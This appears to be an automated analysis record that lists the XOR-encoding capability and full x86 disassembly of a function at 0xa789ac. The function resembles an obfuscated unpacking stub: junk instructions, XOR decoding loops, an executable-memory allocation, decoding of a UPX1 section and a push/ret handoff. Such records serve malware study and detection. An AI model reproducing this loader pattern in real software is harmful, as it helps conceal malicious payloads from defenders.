Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7723913a
add eax, 0xc91838c6
add eax, 0xddd2f00c
popal
mov esi, eax
add esi, 0x7157bdff
sub eax, 1
mov ecx, 0
mov esi, edx
add eax, 0xaeb73c9e
add eax, 0x61fd834e
mov ebx, esi
add eax, edi
not eax
mov edx, ebx
add edi, eax
mov edi, 0xb721306e
inc ecx
or eax, edi
sub eax, 0xa7b5c68
sub edi, 0x22f1593c
cmp ecx, 0x1008aa0
jne 0xa789d2
and edi, edi
inc edi
sub edi, 0x4c3a8413
mov eax, 0xc224beff
inc esi
sub eax, 0xb84a93e1
mov edi, 0xa78796
add ebx, eax
mov ecx, ebx
mov edx, 0xa7898a
mov eax, ebx
or ebx, ecx
dec ecx
mov esi, dword [edi]
not ebx
not ebx
and esi, 0xff
add ecx, 0x9bb41945
sub ecx, ebx
xor dword [edx], esi
or ebx, ebx
or ebx, eax
sub ebx, 1
add edx, 1
dec ecx
sub ebx, eax
sub ebx, ecx
add edi, 1
or eax, eax
dec eax
inc ecx
cmp edx, entry0
jl 0xa78a32
sub ecx, 0x6514169c
not ebx
sub ecx, ebx
mov ecx, ebx
mov ecx, 0xb9520a85
mov edi, ebx
dec edi
sub ebx, ecx
mov esi, 0xa7898e
inc ecx
or edi, edx
add ecx, edx
mov esi, dword [esi]
and ebx, ecx
add ebx, 0x2685912f
sub ecx, ebx
mov esi, dword [esi]
add edx, 0x32dddd7f
dec ebx
or edi, edx
push esi
and ecx, edx
sub edx, ecx
mov edx, edi
mov esi, 0xa7898a
or ebx, edx
mov ecx, ebx
sub ecx, edx
mov esi, dword [esi]
not ebx
mov ebx, 0x9b7148f7
mov ecx, 0xf6c13c60
mov esi, dword [esi]
mov ebx, edx
dec ecx
mov edi, edx
push 0xa78992
sub ebx, 0xd635ed27
sub edx, ebx
call esi
add edi, edx
add ebx, 0xe3eefa23
mov esi, dword [esp]
add esp, 4
or edi, edi
and ebx, edx
or edi, ebx
push 0xa7899f
dec edx
add edx, 0xdb8da615
and edx, edi
sub esp, 4
mov dword [esp], eax
add edi, ebx
dec edx
sub edx, 0x97edf8f8
call esi
add edx, edx
add ecx, 0xca94180f
add edi, 0x5ef1ddd2
push 0x40
add ecx, 1
sub edx, edi
not edi
push 0x3000
not ebx
dec ebx
push 0x20000d72
inc ecx
mov edx, ebx
sub esp, 4
mov dword [esp], 0
and edx, ebx
not ebx
or ecx, ebx
call eax
add ecx, ecx
mov edi, ecx
mov edi, ebx
add eax, 0x20000cba
sub edx, 0xf4d2ee01
or ebx, edi
mov esi, 0x621e2c8a
add edi, 0x79d99c6e
mov ecx, edi
mov dword [eax], esi
add ebx, ebx
mov edx, edi
mov esi, dword [eax]
inc edi
dec edx
add edi, 0x3e549c47
cmp esi, 0x621e2c8a
je 0xa78b92
mov eax, 0
mov dl, byte [eax]
add ecx, 0x6b560fa9
add ecx, 0xabee7d13
sub edx, 0x3ad9125b
not ebx
mov ecx, 0x76a5187a
mov esi, 0x49a7ce11
mov eax, 0x9d561186
and esi, esi
mov edx, section.UPX1
add esi, 1
mov eax, 0x9f9f96c8
mov ecx, 0xa78795
or eax, esi
add eax, 0x3a7d2071
not esi
mov ebx, 0
dec eax
and esi, esi
mov edi, 0xa78796
sub esi, eax
dec eax
lea edi, [edi + ebx]
not esi
and eax, eax
mov edi, dword [edi]
dec eax
mov esi, 0xff8cd568
and edi, 0xff
add esi, esi
dec eax
and eax, eax
inc ebx
add esi, 0xf9788b88
not eax
sub esi, eax
cmp ebx, 0x1f4
jne 0xa78c18
mov ebx, 0
not eax
inc esi
not esi
mov esi, eax
xor dword [edx], edi
inc eax
not eax
add edx, 2
mov eax, 0x4bdc628d
and eax, esi
cmp edx, ecx
jl 0xa78bde
add esi, esi
not eax
dec esi
or esi, esi
sub eax, 0x73df70ad
mov edx, section.UPX1
not esi
add esi, 0x19a216e2
mov eax, esi
mov edi, section.UPX1
sub eax, 1
or esi, eax
and eax, eax
mov ecx, 0xa78795
and esi, eax
sub eax, 1
mov ebx, 0
add eax, 0x611e9cd6
inc esi
mov bl, byte [edi]
mov esi, 0xd1aa0b74
and eax, esi
and eax, eax
mov byte [edx], bl
mov eax, 0x6a249836
sub eax, 0x395fe119
inc edx
add esi, eax
sub esi, 0xa806d0af
sub esi, eax
add edi, 2
not eax
mov eax, 0xdf81531c
cmp edi, ecx
jle 0xa78c7d
sub eax, esi
mov eax, 0x388d6446
add esi, 0x8e75cd87
sub esi, 1
add eax, 0x9429f8ba
sub esp, 4
mov dword [esp], 0x8dc6a0
sub eax, esi
add esi, esi
sub eax, 0x894bfc5d
ret